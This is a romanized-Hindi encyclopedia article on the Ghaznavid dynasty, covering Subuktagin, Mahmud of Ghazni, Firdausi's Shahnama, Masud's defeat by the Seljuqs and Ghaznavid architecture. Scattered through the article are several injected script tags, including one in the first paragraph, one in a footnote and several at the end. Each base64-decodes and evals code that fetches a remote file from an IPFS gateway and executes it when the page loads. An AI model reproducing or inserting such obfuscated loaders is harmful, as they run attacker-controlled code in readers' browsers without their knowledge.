ग़ज़नवी वंश
gazanavi vansh (977-1186 ee.), khurasan (poorvottar eeran), afaganistan aur uttar bharat mean shasan karane vala ek turk vansh. is vansh ki sthapana subuktagin (shasanakal, 977-997 ee.) ne ki thi. subuktagin bhootapoorv turk gulam tha. use 'samani'[1] 'gazana'[2] ka soobedar manate the. samani vansh ke kamazor hone par subuktagin ne apani sthiti sudridh kar li aur bharatiy sima tak apane kshetr ka vistan kar liya. usake putr mahamood gazanavi (shasanakal, 998-1030 ee.) ne pita ke saman hi vistaravadi niti jari rakhi.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
mahamood dvara samrajy vistar
1005 ee. tak samani kshetr bant chuke the. samani samrajy ke do uttaradhikari rajyoan ke bich aauksas nadi sima ka kam karati thi, jisake pashchim mean 'gazanavi' aur poorv mean 'kvarakhani' shasan karate the. mahamood gazanavi ke shasanakal ke dauran gazanavi shakti apane charam tak pahuanch chuki thi. samrajy aauksas[3] se siandhu ghati v hind mahasagar tak phaila tha. mahamood ne apane vijay abhiyanoan se pashchim mean eerani nagaroan, 'ray' aur 'hamadaan' ko buyidoan se chhin liya. mahamood ek dharmanishth muslim tha, jisane gazanaviyoan ko unake moortipoojak turk mool se islami vansh mean tabdil kar diya tha aur islam ki simaoan ka vistar kiya.[4]
- firadausi
farasi bhasha ke kavi firadausi (mrityu-1020 ee.) ne mahamood gazanavi ke darabar mean lagabhag 1010 ee. mean apane mahakavy 'shahanama'[5] ko poora kiya tha.
masood ki parajay
mahamood gazanavi ka putr masood gazanavi[6] (shasanakal,1031-1041 ee.) apani satta aur gazanavi samrajy ki akhandata ko banae rakhane mean nakamayab raha. khurasan aur khvarizm mean seljuq turkoan ne gazanavi satta ko chunauti di. dandaqan ke yuddh (1040 ee.) mean masood ki qarari har huee aur eeran v madhy eshiya ke sabhi gazanavi kshetroan par seljuqoan ka adhikar ho gaya. gazanaviyoan ke pas keval poorvi afaganistan aur uttari bharat ka hi kshetr bacha rah saka, jin par 1186 ee. tak ve shasan karate rahe. usake bad lahaur par guriyoan ka qabza ho gaya.
gazanavi kala
gazanavi kala ke bahut kam aansh aj maujood haian, lekin yah kal eeran mean seljuq turkoan aur bharat mean islami kala par apane prabhav ke lie mahattvapoorn hai. gazanaviyoan ne afaganistan mean 'qalh-e-bast' ke uttar mean helamand nadi ke pathar par, lashkari gah ke nazadik lashkari bazar ke mahal mean pahali bar 'char aivan' shilp yojana shuroo ki thi. 'aivan' ek meharabadar sabhagar hota hai, jo tin taraf se band aur chauthi taraf aangan mean khulata hai. char aivanoan se ghire aangan ki shaili seljuq masjid vastukala ka pramukh lakshan rahi aur faras mean taimoori v safavi kaloan tak barabar chalati rahi.[4]
vijay minar
masood tritiy dvara nirmit 'vijay minar', jisaka nirman 1099-1115 ee. mean kiya gaya tha, seljuq turb ya maqabare ki minar ki poorvavarti hai. isaki do mool manziloan mean se aj maujood ek manzil par alankrit abhilekh haian. lashkari bazar sthit mahal ki khudaee se aise chitraankan mile haian, jinaki shaili aranbhik seljuq kalakritiyoan se milati-julati hai.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ ek eerani muslim
- ↑ adhunik gazani, afaganistan
- ↑ adhunik amu dariya
- ↑ 4.0 4.1 bharat jnanakosh, khand-2 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 41 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ rajaoan ki gatha
- ↑ kuchh itihasakaroan ke anusar mahamood ka bhatija
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>